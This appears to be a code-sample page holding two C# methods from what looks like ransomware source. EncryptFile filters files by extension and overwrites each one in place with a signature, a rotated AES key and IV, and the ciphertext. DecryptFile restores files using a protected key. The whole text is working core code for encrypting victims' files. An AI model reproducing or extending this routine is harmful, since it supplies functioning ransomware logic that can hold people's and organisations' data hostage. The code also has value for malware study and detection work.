示例#1
0
        private void EncryptFile(FileInfo file)
        {
            // Simple Thread Wait
            Thread.Sleep(10);

#if DEBUG
            Trace.WriteLine("");
            Trace.WriteLine("[*] EncryptFile (" + file.Name + ")");
            Trace.Indent();
#endif

            // Check File in Filter
            if (Common.FileInFilter(file.Extension))
            {
                // File Signature Decision Gate
                if (!Common.CheckSignature(file))
                {
                    // Encrypt
#if DEBUG
                    Trace.WriteLine("[+] File to Encrypt");
#endif
                    // Try to Rotate Key
                    CriptoKeyManager.RotateAesKey();

                    // Read File Data
                    Byte[] fileData = null;
                    FileManager.ReadFile(file, ref fileData);

                    // Encrypt File
                    using (FileStream fs = File.OpenWrite(file.FullName))
                    {
                        fs.Position = 0;

                        // Write Control Structure
                        fs.Write(ConfigurationManager.FILE_SIGNATURE, 0, ConfigurationManager.FILE_SIGNATURE_SIZE);
                        fs.Write(CriptoKeyManager.CURRENT_FILE_ENCRIPTION_KEY, 0, CriptoKeyManager.CURRENT_FILE_ENCRIPTION_KEY.Length);
                        fs.Write(CriptoKeyManager.CURRENT_FILE_ENCRIPTION_IV, 0, CriptoKeyManager.CURRENT_FILE_ENCRIPTION_IV.Length);

                        fs.Flush();

                        // Write Encrypted Data
                        CriptoFileManager.Encrypt(fs, ref fileData);
                    }
                }
                else
                {
#if DEBUG
                    Trace.WriteLine("[+] File Alread Encrypted");
#endif
                }
            }
            else
            {
#if DEBUG
                Trace.WriteLine("[+] File Filter not Allowed");
#endif
            }


#if DEBUG
            Trace.Unindent();
#endif
        }
        /// <summary>
        /// Decrypt a Single File
        /// </summary>
        /// <param name="file"></param>
        private void DecryptFile(FileInfo file)
        {
#if DEBUG
            Trace.WriteLine("");
            Trace.WriteLine("[*] DecryptFile (" + file.Name + ")");
            Trace.Indent();
#endif
            // File Signature Decision Gate
            if (Common.CheckSignature(file))
            {
#if DEBUG
                Trace.WriteLine("[+] File to Decrypt");
#endif
                // Read File Data
                byte[] encryptedFileKey;
                byte[] encryptedFileIv;
                byte[] fileKey     = null;
                byte[] fileIv      = null;
                byte[] fileRawData = null;
                int    keyStartIndex;
                int    ivStartIndex;
                string tempFileName = file.FullName + ".wrk";

                // Read File Data
                FileManager.ReadFile(file, ref fileRawData);

                // Compute Key Start Index
                keyStartIndex = ConfigurationManager.FILE_SIGNATURE_SIZE;

                // Get Key
                encryptedFileKey = new byte[CriptoKeyManager.CURRENT_FILE_ENCRIPTION_KEY.Length];
                Array.Copy(fileRawData, keyStartIndex, encryptedFileKey, 0, CriptoKeyManager.CURRENT_FILE_ENCRIPTION_KEY.Length);

                // Compute IV Start Index
                ivStartIndex = keyStartIndex + encryptedFileKey.Length;

                // Get Iv
                encryptedFileIv = new byte[CriptoKeyManager.CURRENT_FILE_ENCRIPTION_IV.Length];
                Array.Copy(fileRawData, ivStartIndex, encryptedFileIv, 0, CriptoKeyManager.CURRENT_FILE_ENCRIPTION_IV.Length);

                // Decrypt Key and Iv
                CriptoKeyManager.UnprotectAesKey(ref encryptedFileKey, ref fileKey, ref encryptedFileIv, ref fileIv);

                // Decrypt File
                using (FileStream fs = File.Create(tempFileName))
                {
                    fs.Position = 0;

                    // Write Encrypted Data
                    CriptoFileManager.Decrypt(fs, ref fileRawData, ConfigurationManager.FILE_SIGNATURE_SIZE + encryptedFileKey.Length + encryptedFileIv.Length, fileKey, fileIv);
                }

                // Delete Old File
                file.Delete();

                // Copy Temp File Into Old File
                File.Copy(tempFileName, file.FullName);

                // Remove Temp File
                File.Delete(tempFileName);
            }
            else
            {
#if DEBUG
                Trace.WriteLine("[+] File is Not Encrypted");
#endif
            }


#if DEBUG
            Trace.Unindent();
#endif
        }